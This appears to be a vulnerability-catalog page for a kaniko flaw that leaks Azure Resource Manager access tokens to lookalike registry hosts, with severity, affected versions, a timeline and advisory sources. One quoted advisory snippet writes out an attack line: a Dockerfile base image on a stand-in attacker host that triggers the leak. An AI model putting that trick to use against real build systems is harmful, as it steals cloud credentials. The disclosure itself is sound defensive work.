ZDF
Sign inSign up

Vulnerabilities

Vulnerability · CVE-2026-105769

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host.

Published Nov 2, 2026 · catalog updated Nov 5, 2026 · kaniko before 1.25.20 can

Last checked Nov 7, 2026. A connected source was read within the last 7 days.

Check if you run it

No confirmed exploitation is on record for CVE-2026-105769. EPSS is 0.20%. Act only if a listed version of kaniko before 1.25.20 can is installed.

Gaps on this record

  • The stored product name is a package slug. The name on this page is taken from the title (kaniko before 1.25.20 can).
  • No vendor fix or required action is stored. Compare the linked advisory before you change production.
Severity
Critical9.3
Known exploitation
Not in CISA/VulnCheck KEV
EPSS
0.20%
Remediation
Version ranges on file
Affected products
go github.com/chainguard-dev/kaniko · golang github.com · vendor chainguard-forks

### Summary kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as , is enough. The build needs no instruction and never has to push. The flaw is in the Azure Container Registry (ACR) credential helper, . kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains (or , , ) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as [GO-2026-6225](https://pkg.go.dev/vuln/GO-2026-6225). ### Who is affected You are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don't fully control, in an environment where the helper can get an Azure identity: - service principal credentials in the environment ( , , ) - a federated workload identity token ( or , with and ), as injected by AKS workload identity - a managed identity, through the Azure Instance Metadata Service (for example on an AKS node or Azure VM) or You do not need to use ACR, or configure the helper, to be affected. kaniko consults the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set. That covers base images in lines and images in . kaniko asks for credentials before it contacts the registry, so the attacker's registry doesn't need to request authentication. If your Docker sets , the standalone binary is consulted for every registry as well. Before v1.25.20 this setting broke pulls from non-ACR registries, so it is uncommon. ### Impact The helper puts the token in both the header and the form field of a POST to , so the attacker receives a live access token for Azure Resource Manage

Are you affected?

Enter the version you run. The result uses only the ranges stored on this record.

The check returns affected, not affected, or incomplete. It does not guess a version that is missing from the record.

  • go github.com/chainguard-dev/kaniko< 1.25.20
  • golang github.comversion unspecified
  • vendor chainguard-forksversion unspecified

How to fix CVE-2026-105769

What to do

Three questions, each answered from this record only. Confirm the vendor advisory before you patch.

Should you patch?

No confirmed exploitation is on record for CVE-2026-105769. EPSS is 0.20%. Act only if a listed version of kaniko before 1.25.20 can is installed.

Which versions are affected?

Compare what you have installed with < 1.25.20. Compare the installed version with the linked vendor advisory before you change production.

What should an analyst verify?

CWE-346; CWE-522: Insufficiently Protected Credentials. EPSS 0.20%. There is no CISA KEV listing. No Exploit-DB or Metasploit reference is linked. Use the source links for the original advisory.

Code

The project this record applies to. Exploit listings stay in References.

Timeline

Detection, updates, and resolution for this record.

  1. Nov 2, 2026 · EUVD

    Detected

    kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azure

  2. Nov 2, 2026 · EUVD

    Updated

    kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azure

  3. Nov 5, 2026 · GitHub Advisory Database

    Updated

    ### Summary kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as , is enough. The build needs no instruction and never has to push. The flaw is in the Azure Container Registry (ACR) credential helper, . kaniko links it into the executor and

Sources

  • CVE.orgVulnerability recordCVE-2026-105769

    Official CVE identifier

    cve.org
  • FIRST EPSSExploitation probabilityCVE-2026-105769

    30-day exploitation probability 0.20%

    first.org
  • EUVDVulnerability recordEUVD-2026-115331

    kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a ho

    euvd.enisa.europa.eu
  • GitHub Advisory DatabasePackage advisoryGHSA-5q7h-w9jf-cx97

    kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

    github.com
  • GitLab Advisory DatabasePackage advisoryCVE-2026-105769

    kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instruction and never has to push. The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chr

    advisories.gitlab.com

References

Freshness

Last verified in this catalog Nov 6, 2026. Significant claims (KEV, EPSS, CVSS, affected ranges) come from the source rows above — open the original publisher for the authoritative advisory.

  • GitLab Advisory DatabaseNov 7, 2026
  • GitHub Advisory DatabaseNov 7, 2026
  • FIRST EPSSNov 6, 2026
  • CVE.orgNov 4, 2026
  • EUVDNov 2, 2026